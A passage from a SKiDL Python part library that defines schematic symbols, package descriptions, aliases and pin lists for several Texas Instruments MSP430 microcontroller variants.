Pin(num='5',name='XOUT',func=Pin.OUTPUT,do_erc=True),
Pin(num='6',name='XIN',do_erc=True),
Pin(num='7',name='~RST~/NMI',do_erc=True),
Pin(num='8',name='ACLK/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='INCLK/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA0/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TA2/VeREF+/VREF+/A4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P3.0/A5/STE0',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.1/SIMO0',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.2/SOMI0',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.3/UCLK0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='P3.4/UTXD0',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='P3.5/URXD0',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='P3.6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='P3.7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA1/VeREF-/VREF-/A3/P2.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F1222IRHB',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='32pin QFN, 8KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F1232IRHB'],pins=[
Pin(num='1',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='XOUT',func=Pin.OUTPUT,do_erc=True),
Pin(num='3',name='XIN',do_erc=True),
Pin(num='5',name='~RST~/NMI',do_erc=True),
Pin(num='6',name='ACLK/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='INCLK/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TA0/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P3.0/A5/STE0',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P3.1/SIMO0',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P3.2/SOMI0',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.3/UCLK0',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='Rosc/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.4/UTXD0',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.5/URXD0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='P3.6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='P3.7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA1/VeREF-/VREF-/A3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA2/VeREF+/VREF+/A4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TEST',do_erc=True)]),
Part(name='MSP430F122IDW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='28pin SOWB, 8KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F123IDW'],pins=[
Pin(num='1',name='TEST',do_erc=True),
Pin(num='2',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='Rosc/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='XOUT',func=Pin.OUTPUT,do_erc=True),
Pin(num='6',name='XIN',do_erc=True),
Pin(num='7',name='~RST~/NMI',do_erc=True),
Pin(num='8',name='ACLK/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='INCLK/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA0/CAOUT/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TA2/CA1/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P3.0/STE0',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.1/SIMO0',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.2/SOMI0',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.3/UCLK0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='P3.4/UTXD0',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='P3.5/URXD0',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='P3.6',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='P3.7',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA1/CA0/P2.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F122IPW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='28pin TSSOP, 8KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F123IPW'],pins=[
Pin(num='1',name='TEST',do_erc=True),
Pin(num='2',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='Rosc/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='XOUT',func=Pin.OUTPUT,do_erc=True),
Pin(num='6',name='XIN',do_erc=True),
Pin(num='7',name='~RST~/NMI',do_erc=True),
Pin(num='8',name='ACLK/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='INCLK/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA0/CAOUT/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TA2/CA1/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P3.0/STE0',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.1/SIMO0',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.2/SOMI0',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.3/UCLK0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='P3.4/UTXD0',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='P3.5/URXD0',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='P3.6',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='P3.7',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA1/CA0/P2.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F122IRHB',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='32pin QFN, 8KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F123IRHB'],pins=[
Pin(num='1',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='XOUT',func=Pin.OUTPUT,do_erc=True),
Pin(num='3',name='XIN',do_erc=True),
Pin(num='5',name='~RST~/NMI',do_erc=True),
Pin(num='6',name='ACLK/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='INCLK/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TA0/CAOUT/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P3.0/STE0',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P3.1/SIMO0',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P3.2/SOMI0',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.3/UCLK0',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='Rosc/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.4/UTXD0',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.5/URXD0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='P3.6',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='P3.7',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA1/CA0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA2/CA1/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TEST',do_erc=True)]),
Part(name='MSP430F2001IN',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='14pin PDIP, 2KB + 256B Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2011IN'],pins=[
Pin(num='1',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='CA0/TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='CA1/TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='CA2/TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='CA3/CAOUT/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='CA4/SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='CA5/TA0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='CA6/TA1/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='CA7/CAOUT/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='VSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430F2001IPW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='14pin TSSOP, 2KB + 256B Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2011IPW'],pins=[
Pin(num='1',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='CA0/TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='CA1/TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='CA2/TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='CA3/CAOUT/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='CA4/SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='CA5/TA0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='CA6/TA1/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='CA7/CAOUT/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='VSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430F2001IRSA',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='16pin QFN, 2KB + 256B Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2011IRSA'],pins=[
Pin(num='1',name='CA0/TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='CA1/TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='CA2/TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='CA3/CAOUT/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='CA4/TCK/SMCLK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='CA5/TMS/TA0.0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='CA6/TDI/TCLK/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='CA7/TDO/TDI/CAOUT/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='10',name='TEST/SBWTCK',do_erc=True),
Pin(num='11',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='16',name='VCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430F2002IN',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='14pin PDIP, 2KB + 256B Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2012IN'],pins=[
Pin(num='1',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='A0/TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='A1/TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='A2/TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='ADC10CLK/A3/VREF-/VeREF-/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='SMCLK/A4/VREF+/VeREF+/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TA0/A5/SCLK/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TA1/A6/SDO/SCL/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='A7/SDI/SDA/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='VSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430F2002IPW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='14pin TSSOP, 2KB + 256B Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2012IPW'],pins=[
Pin(num='1',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='A0/TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='A1/TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='A2/TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='ADC10CLK/A3/VREF-/VeREF-/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='SMCLK/A4/VREF+/VeREF+/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TA0/A5/SCLK/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TA1/A6/SDO/SCL/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='A7/SDI/SDA/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='VSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430F2002IRSA',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='16pin QFN, 2KB + 256B Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2012IRSA'],pins=[
Pin(num='1',name='A0/TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='A1/TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='A2/TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='ADC10CLK/A3/VREF-/VeREF-/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='SMCLK/A4/VREF+/VeREF+/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TA0/A5/SCLK/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TA1/A6/SDO/SCL/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='A7/SDI/SDA/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='10',name='SBWTCK/TEST',do_erc=True),
Pin(num='11',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.6/XIN/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='16',name='DVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430F2003IN',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='14pin PDIP, 2KB + 256B Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2013IN'],pins=[
Pin(num='1',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TACLK/ACLK/A0+/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0/A0-/A4+/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA1/A1+/A4-/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='VREF/A1-/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='SMCLK/A2+/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TA0/A2-/SCLK/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TA1/A3+/SDO/SCL/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='A3-/SDI/SDA/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='VSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430F2003IPW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='14pin TSSOP, 2KB + 256B Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2013IPW'],pins=[
Pin(num='1',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TACLK/ACLK/A0+/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0/A0-/A4+/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA1/A1+/A4-/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='VREF/A1-/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='SMCLK/A2+/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TA0/A2-/SCLK/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TA1/A3+/SDO/SCL/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='A3-/SDI/SDA/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='VSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430F2003IRSA',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='16pin QFN, 2KB + 256B Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2013IRSA'],pins=[
Pin(num='1',name='TACLK/ACLK/A0+/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='TA0/A0-/A4+/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA1/A1+/A4-/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='VREF/A1-/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='SMCLK/A2+/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TA0/A2-/SCLK/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TA1/A3+/SDO/SCL/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='A3-/SDI/SDA/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='10',name='SBWTCK/TEST',do_erc=True),
Pin(num='11',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.6/XIN/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='16',name='DVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430F2101IDGV',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin TVSOP, 8KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2111IDGV', 'MSP430F2121IDGV', 'MSP430F2131IDGV'],pins=[
Pin(num='1',name='TEST',do_erc=True),
Pin(num='2',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='P2.5/CA5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='P2.7/XOUT/CA7',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P2.6/XIN/CA6',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='~RST~/NMI',do_erc=True),
Pin(num='8',name='P2.0/ACLK/CA2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/INCLK/CA3',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/CAOUT/TA0/CA4',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TA2/TDI/TDO/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P2.3/TA1/CA0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/TA2/CA1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA1/TCLK/TDI/P1.6',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F2101IDW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin SOWB, 8KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2111IDW', 'MSP430F2121IDW', 'MSP430F2131IDW'],pins=[
Pin(num='1',name='TEST',do_erc=True),
Pin(num='2',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='P2.5/CA5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='P2.7/XOUT/CA7',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P2.6/XIN/CA6',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='~RST~/NMI',do_erc=True),
Pin(num='8',name='P2.0/ACLK/CA2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/INCLK/CA3',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/CAOUT/TA0/CA4',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TA2/TDI/TDO/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P2.3/TA1/CA0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/TA2/CA1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA1/TCLK/TDI/P1.6',func=Pin.BIDIR,do_erc=True)]),
